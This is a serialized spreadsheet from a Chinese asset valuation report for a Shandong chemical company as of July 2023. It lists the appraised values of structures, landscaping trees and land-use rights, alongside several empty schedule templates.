[11,"无证","车棚西板房 104.4m2",{"$nulls":15},104.4,{"v":76.62835249042145,"d":"76.63"},null,null,{"v":8000,"d":"8,000.00"},{"v":6068.33,"d":"6,068.33"},null,{"v":0.7,"d":"70%"},null,{"v":29744,"d":"29,744.00"},{"$nulls":9},440,null,34305.03999999999]
[12,"无证","设备维修间 111.38m2",{"$nulls":15},111.38,{"v":0.00897827258035554,"d":"0.01"},null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},null,{"v":0.7,"d":"70%"},null,{"v":35708,"d":"35,708.00"},{"$nulls":9},440,null,9831.36]
[13,"无证","冷库板房 31.92m2",{"$nulls":15},31.92,{"v":0.03132832080200501,"d":"0.03"},null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},null,{"v":0.7,"d":"70%"},null,{"v":10233,"d":"10,233.00"}]
[]
[{"$nulls":19},"",{"$nulls":8},""]
[{"$nulls":19},"",{"$nulls":8},""]
[{"$nulls":19},"",{"$nulls":8},""]
[{"$nulls":19},"",{"$nulls":8},""]
["合       计",{"$nulls":18},"",{"v":152485.61,"d":"152,485.61"},{"v":15080341.8,"d":"15,080,341.80"},{"v":35539364.33,"d":"35,539,364.33"},{"v":20347775.262199998,"d":"20,347,775.26"},0,null,0,{"v":15229377,"d":"15,229,377.00"},{"v":-25.1545842051265,"d":"-25.15"}]
["减：房屋建筑物减值准备",{"$nulls":27},""]
["合            计",{"$nulls":19},{"v":152485.61,"d":"152,485.61"},{"v":15080341.8,"d":"15,080,341.80"},{"v":35539364.33,"d":"35,539,364.33"},{"v":20347775.262199998,"d":"20,347,775.26"},0,null,0,{"v":15229377,"d":"15,229,377.00"},{"v":-25.1545842051265,"d":"-25.15"}]
["产权持有人填表人：",{"$nulls":6},"评估人员：",{"$nulls":16},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-6-2构筑物","index":47,"n_rows":39,"n_cols":32,"rows_kept":39,"merged":[[1,0,1,20],[2,0,2,20],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,6,3],[5,4,6,4],[5,5,6,5],[5,6,6,6],[5,7,6,7],[5,8,6,8],[5,9,6,9],[5,10,5,11],[5,12,5,13],[5,14,5,17],[5,18,6,18],[5,19,6,19],[5,20,6,20],[5,21,6,21],[5,22,6,22],[5,24,6,24],[7,21,16,21],[17,11,21,11],[34,0,34,2],[35,0,35,2],[36,0,36,2]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["固定资产—构筑物及其他辅助设施评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":20},"表4-6-2"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":19},"金额单位：人民币元"]
["序号"," 名称","结构","使用单位","建成\n年月","长度\n(m)","宽度\n(m)","高度（m）","计量单位","面积体积或个","审计前账面值",null,"账面价值",null,"评估价值",{"$nulls":3},"增值率%","评估单价(元/m2或元/m3)","位置","编号","来源",null,"是否抵押"]
[{"$nulls":10},"原值","净值","原值","净值","原值","成新率%","快速变现率","净值",{"$nulls":5},"来源依据"]
[1,"花椒树",null,null,"2014-06-30",{"$nulls":3},"棵",200,null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},{"v":16000,"d":"16,000.00"},null,{"v":0.7,"d":"70%"},{"v":11200,"d":"11,200.00"},{"v":1119900,"d":"1,119,900.00"},null,"室外","9-12-2-1~313","世拓"]
[2,"女贞",null,null,"2014-06-30",{"$nulls":3},"棵",50,null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},{"v":7000,"d":"7,000.00"},null,{"v":0.7,"d":"70%"},{"v":4900,"d":"4,900.00"},{"v":489900,"d":"489,900.00"},null,"室外",null,"世拓"]
[3,"苹果梨",null,null,"2014-06-30",{"$nulls":3},"棵",1,null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},{"v":300,"d":"300.00"},null,{"v":0.7,"d":"70%"},{"v":210,"d":"210.00"},{"v":20900,"d":"20,900.00"},null,"室外",null,"世拓"]
[4,"石榴",null,null,"2014-06-30",{"$nulls":3},"棵",107,null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},{"v":32100,"d":"32,100.00"},null,{"v":0.7,"d":"70%"},{"v":22470,"d":"22,470.00"},{"v":2246900,"d":"2,246,900.00"},null,"室外",null,"世拓"]
[5,"松树",null,null,"2014-06-30",{"$nulls":3},"棵",3,null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},{"v":1800,"d":"1,800.00"},null,{"v":0.7,"d":"70%"},{"v":1260,"d":"1,260.00"},{"v":125900,"d":"125,900.00"},null,"室外",null,"世拓"]
[6,"香椿",null,null,"2014-06-30",{"$nulls":3},"棵",96,null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},{"v":19200,"d":"19,200.00"},null,{"v":0.7,"d":"70%"},{"v":13440,"d":"13,440.00"},{"v":1343900,"d":"1,343,900.00"},null,"室外",null,"世拓"]
[7,"杏树",null,null,"2014-06-30",{"$nulls":3},"棵",5,null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},{"v":1500,"d":"1,500.00"},null,{"v":0.7,"d":"70%"},{"v":1050,"d":"1,050.00"},{"v":104900,"d":"104,900.00"},null,"室外",null,"世拓"]
[8,"樱花",null,null,"2014-06-30",{"$nulls":3},"棵",23,null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},{"v":11500,"d":"11,500.00"},null,{"v":0.7,"d":"70%"},{"v":8049.999999999999,"d":"8,050.00"},{"v":804899.9999999999,"d":"804,900.00"},null,"室外",null,"世拓"]
[9,"竹子",null,null,"2014-06-30",{"$nulls":3},"棵",68,null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},{"v":6800,"d":"6,800.00"},null,{"v":0.7,"d":"70%"},{"v":4760,"d":"4,760.00"},{"v":475900,"d":"475,900.00"},null,"室外",null,"世拓"]
[10,"紫叶李",null,null,"2014-06-30",{"$nulls":3},"棵",23,null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},{"v":11500,"d":"11,500.00"},null,{"v":0.7,"d":"70%"},{"v":8049.999999999999,"d":"8,050.00"},{"v":804899.9999999999,"d":"804,900.00"},null,"室外",null,"世拓"]
[11,"门牌石",null,null,"2013-10-01","10*1.8",null,null,"块",1,{"v":30000,"d":"30,000.00"},{"v":229560.61,"d":"229,560.61"},{"v":30000,"d":"30,000.00"},{"v":1500,"d":"1,500.00"},{"v":30000,"d":"30,000.00"},null,{"v":0.7,"d":"70%"},{"v":21000,"d":"21,000.00"},{"v":1300,"d":"1,300.00"},null,"室外","9-12-2-314","世拓"]
[12,"东伸缩门",null,null,"2014-05-27",{"$nulls":3},"个",2,{"v":21766.38,"d":"21,766.38"},null,{"v":21766.38,"d":"21,766.38"},{"v":1088.3189999999995,"d":"1,088.32"},{"v":24000,"d":"24,000.00"},15,{"v":0.7,"d":"70%"},{"v":2520,"d":"2,520.00"},{"v":131.54975701058248,"d":"131.55"},null,"室外","9-8-1-85，86","世拓"]
[13,"西伸缩门",null,null,"2014-05-27",{"$nulls":3},"个",1,{"v":9002.85,"d":"9,002.85"},null,{"v":9002.85,"d":"9,002.85"},{"v":450.1424999999999,"d":"450.14"},{"v":10000,"d":"10,000.00"},15,{"v":0.7,"d":"70%"},{"v":1050,"d":"1,050.00"},{"v":133.25946783518557,"d":"133.26"},null,"室外","9-8-1-62","世拓"]
[14,"观景石（大）",{"$nulls":6},"块",9,{"v":207000,"d":"207,000.00"},null,{"v":207000,"d":"207,000.00"},{"v":10350,"d":"10,350.00"},{"v":207000,"d":"207,000.00"},null,{"v":0.7,"d":"70%"},{"v":144900,"d":"144,900.00"},{"v":1300,"d":"1,300.00"},null,"室外","9-8-2-89~107","世拓"]
[15,"观景石（小）",{"$nulls":6},"块",10,{"v":53000,"d":"53,000.00"},null,{"v":53000,"d":"53,000.00"},{"v":2650,"d":"2,650.00"},{"v":53000,"d":"53,000.00"},null,{"v":0.7,"d":"70%"},{"v":37100,"d":"37,100.00"},{"v":1300,"d":"1,300.00"},null,"室外",null,"世拓"]
[16,"蓝色推拉门 含考勤门禁",null,null,"2017-06-29",{"$nulls":3},"个",3,null,null,{"v":138114.8,"d":"138,114.80"},{"v":58295.95999999999,"d":"58,295.96"},{"v":64400,"d":"64,400.00"},22,{"v":0.7,"d":"70%"},{"v":9918,"d":"9,918.00"},null,null,"室外","9-8-1-64","西能","在西能化工补充协议及附件，西能垫付"]
[17,"事故应急池",{"$nulls":6},"块","700m3+300m3",null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},{"v":600000,"d":"600,000.00"},30,{"v":0.7,"d":"70%"},{"v":126000,"d":"126,000.00"},null,null,"室外","9-8-2-87，88","世拓"]
[18,"简易棚（罐棚西侧） 4.7m*17.8m*2.7m",null,null,"2014-05-29",17.8,4.7,2.7,"个",83.66000000000001,null,null,{"v":9000,"d":"9,000.00"},{"v":1162.5,"d":"1,162.50"},16700,29,{"v":0.7,"d":"70%"},{"v":3390.1,"d":"3,390.10"},null,null,"罐棚西侧","9-26-2-1","世拓",{"$nulls":8},"            "]
[19,"污水池（烂尾）",{"$nulls":6},"个",1,null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},0,null,null,0,null,null,"室外","9-14-1-3","世拓"]
[20,"车棚 151.28m2",null,null,"2014-05-29",{"$nulls":3},"个",151.28,null,null,{"v":24000,"d":"24,000.00"},{"v":13550,"d":"13,550.00"},{"v":30256,"d":"30,256.00"},50,{"v":0.7,"d":"70%"},{"v":10589.599999999999,"d":"10,589.60"},null,null,"传达室东2西",null,"世拓"]
[21,"设备维修间旁棚 30m2",{"$nulls":6},"个",30,null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},{"v":6000,"d":"6,000.00"},50,{"v":0.7,"d":"70%"},{"v":2100,"d":"2,100.00"},{"$nulls":4},"世拓"]
[22,"厕所 44.1m2",{"$nulls":6},"个",44.1,null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},{"v":17640,"d":"17,640.00"},50,{"v":0.7,"d":"70%"},{"v":6174,"d":"6,174.00"},{"$nulls":4},"世拓"]
[23,"围墙 962m*1.4m",{"$nulls":3},962,null,1.4,"个",1,null,null,{"v":245400,"d":"245,400.00"},{"v":140491.5,"d":"140,491.50"},{"v":269360,"d":"269,360.00"},50,{"v":0.7,"d":"70%"},{"v":94276,"d":"94,276.00"},{"$nulls":4},"世拓"]
[24,"道闸",null,null,"2014-05-27","4米杆",null,null,"个",2,null,null,{"v":1,"d":"1.00"},{"v":1,"d":"1.00"},{"v":32000,"d":"32,000.00"},15,{"v":0.7,"d":"70%"},{"v":3360,"d":"3,360.00"},null,null,"保安室","9-12-2-317","世拓"]
[25,"消防水池",{"$nulls":10},{"v":620984.84,"d":"620,984.84"},{"v":458753.54,"d":"458,753.54"},{"v":680000,"d":"680,000.00"},55,{"v":0.7,"d":"70%"},{"v":261799.99999999997,"d":"261,800.00"},{"v":-42.93232047866051,"d":"-42.93"},null,"室外含消防沙池","9-14-1-4，5","世拓"]
[26,"路面（水泥面5952.96m2，沥青1347.32m2)",null,null,"2016-02-12",{"$nulls":7},{"v":797581.55,"d":"797,581.55"},{"v":456615.43737500004,"d":"456,615.44"},{"v":1240993.2,"d":"1,240,993.20"},55,{"v":0.7,"d":"70%"},{"v":477782.382,"d":"477,782.38"},{"v":4.635617391011767,"d":"4.64"}]
[{"$nulls":18},""]
["合          计",{"$nulls":9},{"v":320769.23,"d":"320,769.23"},{"v":229560.61,"d":"229,560.61"},{"v":2155865.42,"d":"2,155,865.42"},{"v":1144922.398875,"d":"1,144,922.40"},{"v":3389049.2,"d":"3,389,049.20"},null,null,{"v":1277350.082,"d":"1,277,350.08"},{"v":11.566520425761897,"d":"11.57"}]
["减：构筑物及其他辅助设施减值准备",{"$nulls":17},""]
["合            计",{"$nulls":9},{"v":320769.23,"d":"320,769.23"},{"v":229560.61,"d":"229,560.61"},{"v":2155865.42,"d":"2,155,865.42"},{"v":1144922.398875,"d":"1,144,922.40"},{"v":3389049.2,"d":"3,389,049.20"},null,null,{"v":1277350.082,"d":"1,277,350.08"},{"v":11.566520425761897,"d":"11.57"}]
["产权持有人填表人：",{"$nulls":13},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-6-3管道沟槽","index":48,"n_rows":42,"n_cols":21,"rows_kept":42,"hidden":true,"merged":[[1,0,1,19],[2,0,2,19],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,6,3],[5,4,6,4],[5,5,6,5],[5,6,6,6],[5,7,6,7],[5,8,6,8],[5,9,6,9],[5,10,6,10],[5,11,5,12],[5,13,5,14],[5,15,5,17],[5,18,6,18],[5,20,6,20],[7,20,10,20],[11,20,13,20],[14,20,16,20],[17,20,19,20],[20,20,22,20],[23,20,27,20],[28,20,31,20],[32,20,34,20],[37,0,37,1],[38,0,38,1],[39,0,39,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["固定资产—管道和沟槽评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":19},"表4-6-3"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":18},"金额单位：人民币元"]
["序号"," 名称","使用单位","长度\n(m)","漕深\n(m)","沟宽*沟厚(mm*mm)\n管径*壁厚(mm*mm)","材质","规格型号","保温方式","铺设方式","建成年月","审计前账面值",null,"账面价值",null,"评估价值",null,null,"增值率%","备注","说明"]
[{"$nulls":11},"原值","净值","原值","净值","原值","成新率%","净值"]
[{"$nulls":20},"南楼供暖"]
[]
[]
[]
[{"$nulls":20},"北楼供暖"]
[]
[]
[{"$nulls":20},"北楼供气"]
[]
[]
[{"$nulls":20},"南楼供气"]
[]
[]
[{"$nulls":20},"南楼供水"]
[]
[]
[{"$nulls":20},"南楼污水"]
[]
[]
[]
[]
[{"$nulls":20},"北楼供水"]
[]
[]
[]
[{"$nulls":20},"北楼污水"]
[]
[]
[]
[]
["合         计",{"$nulls":10},0,0,0,0,0,null,0,""]
["减：管道沟槽减值准备",{"$nulls":17},""]
["合            计",{"$nulls":10},0,0,0,0,0,null,0,""]
["产权持有人填表人：",{"$nulls":12},"评估人员："]
["填表日期：年月日"]

{"sheet":"Sheet1","index":49,"n_rows":0,"n_cols":0,"rows_kept":0,"hidden":true,"flags":["formulas_cached_only"]}

{"sheet":"4-6-7土地","index":50,"n_rows":23,"n_cols":19,"rows_kept":23,"hidden":true,"merged":[[1,0,1,17],[2,0,2,17],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,6,3],[5,4,6,4],[5,5,6,5],[5,6,6,6],[5,7,6,7],[5,8,6,8],[5,9,6,9],[5,10,5,11],[5,12,6,12],[5,13,6,13],[5,14,6,14],[5,15,6,15],[5,16,6,16],[5,17,6,17],[5,18,6,18],[20,0,20,3]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["固定资产—土地评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":17},"表4-6-7"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":16},"金额单位：人民币元"]
["序号","土地权证编号","宗地名称","土地位置","取得日期","用地性质","土地用途","准用年限","开发程度","面积(m2)","审计前账面值",null,"原始入账价值","账面价值","评估价值","增减值","增值率%","备注","证载权利人"]
[{"$nulls":10},"原值","净值"]
[{"$nulls":15},"",""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
[{"$nulls":16},""]
["合         计",{"$nulls":9},0,0,0,0,0,0,""]
["产权持有人填表人：",{"$nulls":11},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-7在建工程汇总","index":51,"n_rows":30,"n_cols":7,"rows_kept":30,"hidden":true,"merged":[[1,0,1,6],[2,0,2,6]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["在建工程评估汇总表"]
["评估基准日：2023年7月29日"]
[{"$nulls":6},"表4-7"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":5},"金额单位：人民币元"]
["编号","科目名称","审计前账面值","账面价值","评估价值","增减值","增值率%"]
["4-7-1","在建工程-土建工程",0,0,0,0,""]
["4-7-2","在建工程-设备安装工程",0,0,0,0,""]
{"$rows_empty":17}
["5-4","在建工程合计",0,0,0,0,""]
["5-4","减：在建工程减值准备",0,0,null,0,""]
["5-4","在建工程合计",0,0,0,0,""]
["产权持有人填表人：",{"$nulls":3},"评估人员：  "]
["填表日期：年月日"]

{"sheet":"4-7-1在建（土建）","index":52,"n_rows":30,"n_cols":15,"rows_kept":30,"hidden":true,"merged":[[1,0,1,14],[2,0,2,14],[25,0,25,1],[26,0,26,1],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["在建工程—土建工程评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":14},"表4-7-1"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":13},"金额单位：人民币元"]
["序号","项目名称","结构","建筑面积/容积","开工日期","预计完工日期","形象进度","付款比例","投资规模","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":12},"",""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
["合         计",{"$nulls":8},0,0,0,0,""]
["减：在建工程减值准备",{"$nulls":12},""]
["合         计",{"$nulls":8},0,0,0,0,""]
["产权持有人填表人：",{"$nulls":9},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-7-2在建（设备）","index":53,"n_rows":30,"n_cols":22,"rows_kept":30,"hidden":true,"merged":[[1,0,1,21],[2,0,2,21],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,6,3],[5,4,6,4],[5,5,6,5],[5,6,6,6],[5,7,5,10],[5,11,5,14],[5,15,5,18],[5,19,6,19],[5,20,6,20],[5,21,6,21],[25,0,25,2],[26,0,26,2],[27,0,27,2]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["在建工程—设备安装工程评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":21},"表4-7-2"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":20},"金额单位：人民币元"]
["序号","项目名称","规格型号","数量","计量单位","开工\n日期","预计完\n工日期","审计前账面值",{"$nulls":3},"账面价值",{"$nulls":3},"评估价值",{"$nulls":3},"增减值","增值率%","备注"]
[{"$nulls":7},"设备费","资金成本","安装费及其他","合计","设备费","资金成本","安装费及其他","合计","设备费","资金成本","安装费及其他","合计"]
[{"$nulls":19},"",""]
[{"$nulls":20},""]
[{"$nulls":20},""]
[{"$nulls":20},""]
[{"$nulls":20},""]
[{"$nulls":20},""]
[{"$nulls":20},""]
[{"$nulls":20},""]
[{"$nulls":20},""]
[{"$nulls":20},""]
[{"$nulls":20},""]
[{"$nulls":20},""]
[{"$nulls":20},""]
[{"$nulls":20},""]
[{"$nulls":20},""]
[{"$nulls":20},""]
[{"$nulls":20},""]
[{"$nulls":20},""]
["合         计",{"$nulls":9},0,0,0,0,0,0,0,0,0,null,""]
["减：在建设备安装工程减值准备",{"$nulls":19},""]
["合         计",{"$nulls":9},0,0,0,0,0,0,0,0,0,0,""]
["产权持有人填表人：",{"$nulls":13},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-8工程物资","index":54,"n_rows":30,"n_cols":16,"rows_kept":30,"hidden":true,"merged":[[1,0,1,15],[2,0,2,15],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,6,3],[5,4,5,6],[5,7,5,9],[5,10,5,12],[5,13,6,13],[5,14,6,14],[5,15,6,15],[25,0,25,1],[26,0,26,1],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["工程物资评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":15},"表4-8"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":14},"金额单位：人民币元"]
["序号","名称","工程项目","计量\n单位","审计前账面值",null,null,"账面价值",null,null,"评估价值",null,null,"增减值","增值率\n%","备注"]
[{"$nulls":4},"数量","单价","金额","数量","单价","金额","实际数量","单价","金额"]
[{"$nulls":13},"",""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
["合            计",{"$nulls":5},0,null,null,0,null,null,0,null,""]
["减：工程物资减值准备",{"$nulls":11},0,null,""]
["合        计",{"$nulls":5},0,null,null,0,null,null,0,0,""]
["产权持有人填表人：",{"$nulls":8},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-9固定资产清理","index":55,"n_rows":30,"n_cols":9,"rows_kept":30,"hidden":true,"merged":[[1,0,1,8],[2,0,2,8],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["固定资产清理评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":8},"表4-9"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":7},"金额单位：人民币元"]
["序号","待处理资产名称","发生日期","审计前账面值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":6},"",""]
{"$rows_empty":20}
["合         计",null,null,0,0,0,0,""]
["产权持有人填表人：",{"$nulls":3},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-10生产性生物资产","index":56,"n_rows":30,"n_cols":15,"rows_kept":30,"hidden":true,"merged":[[1,0,1,14],[2,0,2,14],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,6,3],[5,4,6,4],[5,5,6,5],[5,6,5,7],[5,8,5,9],[5,10,5,12],[5,13,6,13],[5,14,6,14],[25,0,25,2],[26,0,26,2],[27,0,27,2]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["生产性生物资产评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":14},"表4-10"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":13},"金额单位：人民币元"]
["序号","种类","群别","计量单位","数量","购置日期","审计前账面值",null,"账面价值",null,"评估价值",null,null,"增值率%","备注"]
[{"$nulls":6},"原值","净值","原值","净值","原值","成新率%","净值"]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
["合            计",{"$nulls":5},0,0,0,0,0,null,0,""]
["减：生产性生物资产减值准备",{"$nulls":11},0,""]
["净            额",{"$nulls":5},0,0,0,0,0,null,0,""]
["产权持有人填表人：",{"$nulls":7},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-11油气资产","index":57,"n_rows":30,"n_cols":16,"rows_kept":30,"hidden":true,"merged":[[1,0,1,15],[2,0,2,15],[5,0,6,0],[5,1,6,1],[5,2,6,2],[5,3,6,3],[5,4,6,4],[5,5,6,5],[5,6,6,6],[5,7,5,8],[5,9,5,10],[5,11,5,13],[5,14,6,14],[5,15,6,15],[25,0,25,2],[26,0,26,2],[27,0,27,2]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["油气资产评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":15},"表4-11"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":14},"金额单位：人民币元"]
["序号","类别","矿区（或油田）","计量单位","数量","形成日期","来源（购入、自行建造）","审计前账面值",null,"账面价值",null,"评估价值",null,null,"增值率%","备注"]
[{"$nulls":7},"原值","净值","原值","净值","原值","成新率%","净值"]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
[{"$nulls":14},""]
["合            计",{"$nulls":6},0,0,0,0,0,null,0,""]
["减：油气资产减值准备",{"$nulls":12},0,""]
["合      计",{"$nulls":6},0,0,0,0,0,null,0,""]
["产权持有人填表人：",{"$nulls":8},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-12无形资产汇总","index":58,"n_rows":30,"n_cols":7,"rows_kept":30,"hidden":true,"merged":[[1,0,1,6],[2,0,2,6],[25,0,25,1],[26,0,26,1],[27,0,27,1]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["无形资产评估汇总表"]
["评估基准日：2023年7月29日"]
[{"$nulls":6},"表4-12"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":5},"金额单位：人民币元"]
["编号","科目名称","审计前账面值","账面价值","评估价值","增减值","增值率%"]
["4-12-1","无形资产-土地使用权",{"v":10566825.529999997,"d":"10,566,825.53"},{"v":10028990.642278913,"d":"10,028,990.64"},{"v":14859879.999999998,"d":"14,859,880.00"},{"v":4830889.357721085,"d":"4,830,889.36"},{"v":48.16924783393107,"d":"48.17"}]
["4-12-2","无形资产-矿业权",0,0,0,0,""]
["4-12-3","无形资产-其他无形资产",{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
{"$rows_empty":16}
["合              计",null,null,{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
["减：无形资产减值准备"]
["总              计",null,{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"},{"$error":"#REF!"}]
["产权持有人填表人：",{"$nulls":3},"评估人员：    "]
["填表日期：年月日"]

{"sheet":"4-12-1无形-土地","index":59,"n_rows":22,"n_cols":25,"rows_kept":22,"merged":[[1,0,1,16],[2,0,2,16],[19,0,19,3]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["无形资产—土地使用权评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":16},"表4-12-1"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":15},"金额单位：人民币元"]
["序号","土地权证编号","宗地名称","土地位置","取得  日期","用地  性质","土地用途","准用  年限","开发  程度","面积(m2)","原始入账价值","审计前账面值","账面价值","评估价值","增减值","增值率%","备注","证载权利人",null,"是否抵押"]
[1,"莱芜市国用（2015）第0146号",null,"里辛街道西田庄村","2015-02-27","出让","工业",null,null,{"v":57685.73,"d":"57,685.73"},{"v":12288736.2,"d":"12,288,736.20"},{"v":10566825.529999997,"d":"10,566,825.53"},{"v":10028990.642278913,"d":"10,028,990.64"},{"v":14859879.999999998,"d":"14,859,880.00"},"","","该宗地于2015年3月10日在莱芜市农村信用合作联社设定抵押，抵押期限3年，自2015年3月10日至2018年3月10日，抵押金额1352.00万元。",null,"被济南市钢城区人民法院查封，查封文号：（2019）鲁0117执572号","是"]
[{"$nulls":15},"",{"$nulls":6},368,null,21228348.64]
[{"$nulls":15},""]
[]
[{"$nulls":24},14859844.047999999]
[]
[]
[{"$nulls":24},14859844.047999999]
[]
[{"$nulls":15},"",{"$nulls":6},21228349]
[{"$nulls":15},"",{"$nulls":7},14859844.299999999]
[{"$nulls":15},""]
[{"$nulls":15},"",{"$nulls":5},35.95199999958277]
["合         计",{"$nulls":9},{"v":12288736.2,"d":"12,288,736.20"},{"v":10566825.529999997,"d":"10,566,825.53"},{"v":10028990.642278913,"d":"10,028,990.64"},{"v":14859879.999999998,"d":"14,859,880.00"},{"v":4830889.357721085,"d":"4,830,889.36"},{"v":48.16924783393107,"d":"48.17"}]
["产权持有人填表人：",{"$nulls":9},"评估人员："]
["填表日期：年月日"]

{"sheet":"4-12-2无形-矿业权","index":60,"n_rows":29,"n_cols":15,"rows_kept":29,"hidden":true,"merged":[[1,0,1,14],[2,0,2,14],[3,13,3,14],[4,0,4,6],[26,0,26,2],[27,0,27,3],[28,0,28,3]],"flags":["formulas_cached_only"]}
["返回索引页","返回"]
["无形资产—矿业权评估明细表"]
["评估基准日：2023年7月29日"]
[{"$nulls":13},"表4-12-2"]
["产权持有人：山东世拓利丰化学科技股份有限公司",{"$nulls":13},"金额单位：人民币元"]
["序号","名称、种类（探矿权/采矿权）","勘查（采矿）许可证编号","取得方式","取得日期","剩余有效年限","勘查开发阶段","核定（批准）生产规模","原始入账价值","审计前账面价值","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":12},"",""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
[{"$nulls":13},""]
